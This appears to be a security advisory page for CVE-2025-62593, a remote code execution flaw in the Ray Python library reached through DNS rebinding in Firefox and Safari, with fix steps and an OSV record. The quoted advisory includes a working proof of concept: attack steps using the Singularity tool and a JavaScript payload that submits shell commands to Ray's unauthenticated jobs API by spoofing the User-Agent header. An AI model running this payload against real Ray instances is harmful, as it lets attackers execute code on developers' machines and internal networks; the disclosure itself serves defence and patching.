CVE-2025-62593: Ray Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-q279-jhrf-cc6v
CWE-94 CWE-352
Published
Advisory Summary

CVE-2025-62593 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Ray libraries in the PyPI ecosystem. The issue involves ray is vulnerable to critical rce via safari & firefox browsers through dns rebinding attack. Remediation is available by upgrading affected packages to version 2.52.0.

CVE-2025-62593 at a Glance

CVE Identifier CVE-2025-62593
GHSA Identifier GHSA-q279-jhrf-cc6v
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Ray
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-62593

To remediate this vulnerability, upgrade all affected Ray dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ray fixed: 2.52.0
pip install ray>=2.52.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show ray

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-62593, inspect your installed packages using pip:

pip show ray

Analyze the terminal output to locate any version of Ray in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.52.0), your application is affected.

Note: The pip show ray command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Ray, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Summary Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. Due to the longstanding [decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html) by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` & `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari. This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified. Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement ([malvertising](https://en.wikipedia.org/wiki/Malvertising)). # Details The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient. ## Current Mitigation Strategies ```python def is_browser_request(req: Request) -> bool: """Checks if a request is made by a browser like user agent. This heuristic is very weak, but hard for a browser to bypass- eg, fetch/xhr and friends cannot alter the user-agent, but requests made with an http library can stumble into this if they choose to user a browser like user agent. """ return req.headers["User-Agent"].startswith("Mozilla") def deny_browser_requests() -> Callable: """Reject any requests that appear to be made by a browser""" def decorator_factory(f: Callable) -> Callable: @functools.wraps(f) async def decorator(self, req: Request): if is_browser_request(req): return Response( text="Browser requests not allowed", status=aiohttp.web.HTTPMethodNotAllowed.status_code, ) return await f(self, req) return decorator return decorator_factory ``` https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155 ```python @aiohttp.web.middleware async def browsers_no_post_put_middleware(self, request, handler): if ( # A best effort test for browser traffic. All common browsers # start with Mozilla at the time of writing. dashboard_optional_utils.is_browser_request(request) and request.method in [hdrs.METH_POST, hdrs.METH_PUT] ): return aiohttp.web.Response( status=405, text="Method Not Allowed for browser traffic." ) return await handler(request) ``` https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196 This is because the fundamental assumption that the `User-Agent` header can't be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a [bug](https://issues.chromium.org/issues/40450316), bringing it out of spec with the `fetch` specification. Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like [nccgroup/singularity](https://github.com/nccgroup/singularity). # PoC Please note, this full PoC will be going live at time of disclosure. 1. Launch Ray `ray start --head --port=6379` 2. Ensure that the ray dashboard/service is running on port `8265` 3. Launch an internet facing version of NCCGroup/Singularity following the [setup guide here](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation). 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html 5. Under "Attack Payload" select: `Ray Jobs RCE (default port 8265)` 6. Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3. 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator. If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many. ## What's going on? This is the payload running in [nccgroup/singularity](https://github.com/nccgroup/singularity): ```javascript /** * This payload exploits Ray (https://github.com/ray-project/ray) * It opens the "Calculator" application on various operating systems. * The payload can be easily modified to target different OSes or implementations. * The TCP port attacked is 8265. */ const RayRce = () => { // Invoked after DNS rebinding has been performed function attack(headers, cookie, body) { // Get the current timestamp in milliseconds const timestamp = Date.now(); // OS-agnostic calculator command that tries multiple approaches const calculatorCommand = ` # Try Windows calculator first if command -v calc.exe >/dev/null 2>&1; then echo Windows calculator launching calc.exe & # Try macOS calculator elif command -v open >/dev/null 2>&1; then echo macOS calculator launching open -a Calculator & elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then echo macOS calculator launching /System/Applications/Calculator.app/Contents/MacOS/Calculator & # Try Linux calculators elif command -v gnome-calculator >/dev/null 2>&1; then echo Linux calculator launching gnome-calculator & elif command -v kcalc >/dev/null 2>&1; then echo Linux calculator launching kcalc & elif command -v xcalc >/dev/null 2>&1; then echo Linux calculator launching xcalc & # Fallback: try to find any calculator binary else echo Linux calculator launching find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} & fi echo RAY RCE: By JLLeitschuh ${timestamp} `; const data = { "entrypoint": calculatorCommand, "runtime_env": {}, "job_id": null, "metadata": { "job_submission_id": timestamp.toString(), "source": "nccgroup/singluarity" } }; sooFetch('/api/jobs/', { method: 'POST', headers: { 'User-Agent': 'Other', }, body: JSON.stringify(data), }) .then(response => { console.log(response); return response.json() }) // parses JSON response into native JavaScript objects .then(data => { console.log('Success:', data); }) .catch((error) => { console.error('Error:', error); }); } // Invoked to determine whether the rebinded service // is the one targeted by this payload. Must return true or false. async function isService(headers, cookie, body) { return sooFetch("/",{ mode: 'no-cors', credentials: 'omit', }) .then(function (response) { return response.text() }) .then(function (d) { if (d.includes("You need to enable JavaScript")) { return true; } else { return false; } }) .catch(e => { return (false); }) } return { attack, isService } } Registry["Ray Jobs RCE"] = RayRce(); ``` See: https://github.com/nccgroup/singularity/pull/68 # Impact This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine. This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network. # Fix The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html Fix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09 Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. ([Chrome Local Network Access](https://developer.chrome.com/blog/local-network-access)). These changes _may_ protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy. # Credit The fetch bypass was originally theorized by @avilum at [Oligo](https://www.oligo.security/). The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at [Socket](https://socket.dev/).

CVE-2025-62593 Affected Ray Versions

1 component(s)
Fixed Versions:
2.52.0
Product / Package Ecosystem Affected Versions Fixed Version
ray
PyPI
< 2.52.0
2.52.0

References

Frequently Asked Questions

What is CVE-2025-62593?
CVE-2025-62593 is a security vulnerability in Ray involving Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Ray versions are affected?
Affected versions include releases prior to 2.52.0 across affected packages: ray.
What version fixes CVE-2025-62593?
Upgrading to 2.52.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ray affected?
Yes, ray is affected in releases prior to 2.52.0. Upgrade your dependency to 2.52.0 or later.
What CWE is associated with CVE-2025-62593?
CVE-2025-62593 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2025-62593?
Run the dependency tree command: 'pip show ray'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q279-jhrf-cc6v",
  "modified" : "2025-12-01T16:02:42Z",
  "published" : "2025-11-26T19:35:23Z",
  "aliases" : [ "CVE-2025-62593" ],
  "summary" : "Ray is vulnerable to Critical RCE via Safari & Firefox Browsers through DNS Rebinding Attack",
  "details" : "# Summary\n\nDevelopers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. \n\nDue to the longstanding [decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html) by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` & `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.\n\nThis vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string \"Mozilla\" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified.\n\nCombined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement ([malvertising](https://en.wikipedia.org/wiki/Malvertising)).\n\n# Details\n\nThe mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.\n\n## Current Mitigation Strategies\n\n```python\ndef is_browser_request(req: Request) -> bool:\n    \"\"\"Checks if a request is made by a browser like user agent.\n\n    This heuristic is very weak, but hard for a browser to bypass- eg,\n    fetch/xhr and friends cannot alter the user-agent, but requests made with\n    an http library can stumble into this if they choose to user a browser like\n    user agent.\n    \"\"\"\n    return req.headers[\"User-Agent\"].startswith(\"Mozilla\")\n\n\ndef deny_browser_requests() -> Callable:\n    \"\"\"Reject any requests that appear to be made by a browser\"\"\"\n\n    def decorator_factory(f: Callable) -> Callable:\n        @functools.wraps(f)\n        async def decorator(self, req: Request):\n            if is_browser_request(req):\n                return Response(\n                    text=\"Browser requests not allowed\",\n                    status=aiohttp.web.HTTPMethodNotAllowed.status_code,\n                )\n            return await f(self, req)\n\n        return decorator\n\n    return decorator_factory\n```\n\nhttps://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155\n\n```python\n    @aiohttp.web.middleware\n    async def browsers_no_post_put_middleware(self, request, handler):\n        if (\n            # A best effort test for browser traffic. All common browsers\n            # start with Mozilla at the time of writing.\n            dashboard_optional_utils.is_browser_request(request)\n            and request.method in [hdrs.METH_POST, hdrs.METH_PUT]\n        ):\n            return aiohttp.web.Response(\n                status=405, text=\"Method Not Allowed for browser traffic.\"\n            )\n\n        return await handler(request)\n```\nhttps://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196\n\nThis is because the fundamental assumption that the `User-Agent` header can't be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a [bug](https://issues.chromium.org/issues/40450316), bringing it out of spec with the `fetch` specification.\n\nExploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like [nccgroup/singularity](https://github.com/nccgroup/singularity).\n\n# PoC\n\nPlease note, this full PoC will be going live at time of disclosure.\n\n 1. Launch Ray `ray start --head --port=6379`\n 2. Ensure that the ray dashboard/service is running on port `8265`\n 3. Launch an internet facing version of NCCGroup/Singularity following the [setup guide here](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).\n 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html\n 5. Under \"Attack Payload\" select: `Ray Jobs RCE (default port 8265)`\n 6. Click \"Start Attack\". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.\n 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.\n\nIf this attack doesn't work, consider clicking the \"Toggle Advanced Options\" and trying an alternative \"Rebinding Strategy\". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many.\n\n## What's going on?\n\nThis is the payload running in [nccgroup/singularity](https://github.com/nccgroup/singularity):\n\n```javascript\n/**\n * This payload exploits Ray (https://github.com/ray-project/ray)\n * It opens the \"Calculator\" application on various operating systems.\n * The payload can be easily modified to target different OSes or implementations.\n * The TCP port attacked is 8265.\n */\n\nconst RayRce = () => {\n\n    // Invoked after DNS rebinding has been performed\n    function attack(headers, cookie, body) {\n        // Get the current timestamp in milliseconds\n        const timestamp = Date.now();\n        \n        // OS-agnostic calculator command that tries multiple approaches\n        const calculatorCommand = `\n            # Try Windows calculator first\n            if command -v calc.exe >/dev/null 2>&1; then\n                echo Windows calculator launching\n                calc.exe &\n            # Try macOS calculator\n            elif command -v open >/dev/null 2>&1; then\n                echo macOS calculator launching\n                open -a Calculator &\n            elif [ -f \"/System/Applications/Calculator.app/Contents/MacOS/Calculator\" ]; then\n                echo macOS calculator launching\n                /System/Applications/Calculator.app/Contents/MacOS/Calculator &\n            # Try Linux calculators\n            elif command -v gnome-calculator >/dev/null 2>&1; then\n                echo Linux calculator launching\n                gnome-calculator &\n            elif command -v kcalc >/dev/null 2>&1; then\n                echo Linux calculator launching\n                kcalc &\n            elif command -v xcalc >/dev/null 2>&1; then\n                echo Linux calculator launching\n                xcalc &\n            # Fallback: try to find any calculator binary\n            else\n                echo Linux calculator launching\n                find /usr/bin /usr/local/bin /opt -name \"*calc*\" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &\n            fi\n            echo RAY RCE: By JLLeitschuh ${timestamp}\n        `;\n        \n        const data = {\n            \"entrypoint\": calculatorCommand,\n            \"runtime_env\": {},\n            \"job_id\": null,\n            \"metadata\": {\n                \"job_submission_id\": timestamp.toString(),\n                \"source\": \"nccgroup/singluarity\"\n            }\n        };\n        \n        sooFetch('/api/jobs/', {\n            method: 'POST',\n            headers: {\n                'User-Agent': 'Other',\n            },\n            body: JSON.stringify(data),\n        })\n        .then(response => {\n            console.log(response);\n            return response.json()\n        }) // parses JSON response into native JavaScript objects\n        .then(data => {\n            console.log('Success:', data);\n        })\n        .catch((error) => {\n            console.error('Error:', error);\n        });\n    }\n    \n    // Invoked to determine whether the rebinded service\n    // is the one targeted by this payload. Must return true or false.\n    async function isService(headers, cookie, body) {\n        return sooFetch(\"/\",{\n            mode: 'no-cors',\n            credentials: 'omit',\n        })\n        .then(function (response) {\n            return response.text()\n        })\n        .then(function (d) {\n            if (d.includes(\"You need to enable JavaScript\")) {\n                return true;\n            } else {\n                return false;\n            }\n        })\n        .catch(e => { return (false); })\n    }\n\n    return {\n        attack,\n        isService\n    }\n}\n\nRegistry[\"Ray Jobs RCE\"] = RayRce();\n```\n\nSee: https://github.com/nccgroup/singularity/pull/68\n \n# Impact\n \nThis vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.\n\nThis attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.\n\n# Fix\n\nThe fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html\n\nFix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09\n\nSeveral browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. ([Chrome Local Network Access](https://developer.chrome.com/blog/local-network-access)). These changes _may_ protect you, but a previous initiative, \"private network access\" was rolled back. So updating is highly recommended as a defense-in-depth strategy.\n\n# Credit\n\nThe fetch bypass was originally theorized by @avilum at [Oligo](https://www.oligo.security/). The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at [Socket](https://socket.dev/).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ray"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.52.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62593"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nccgroup/singularity/pull/68"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09"
  }, {
    "type" : "WEB",
    "url" : "https://docs.ray.io/en/releases-2.51.1/ray-security/index.html"
  }, {
    "type" : "WEB",
    "url" : "https://en.wikipedia.org/wiki/Malvertising"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ray-project/ray"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-26T19:35:23Z",
    "nvd_published_at" : "2025-11-26T23:15:47Z"
  }
}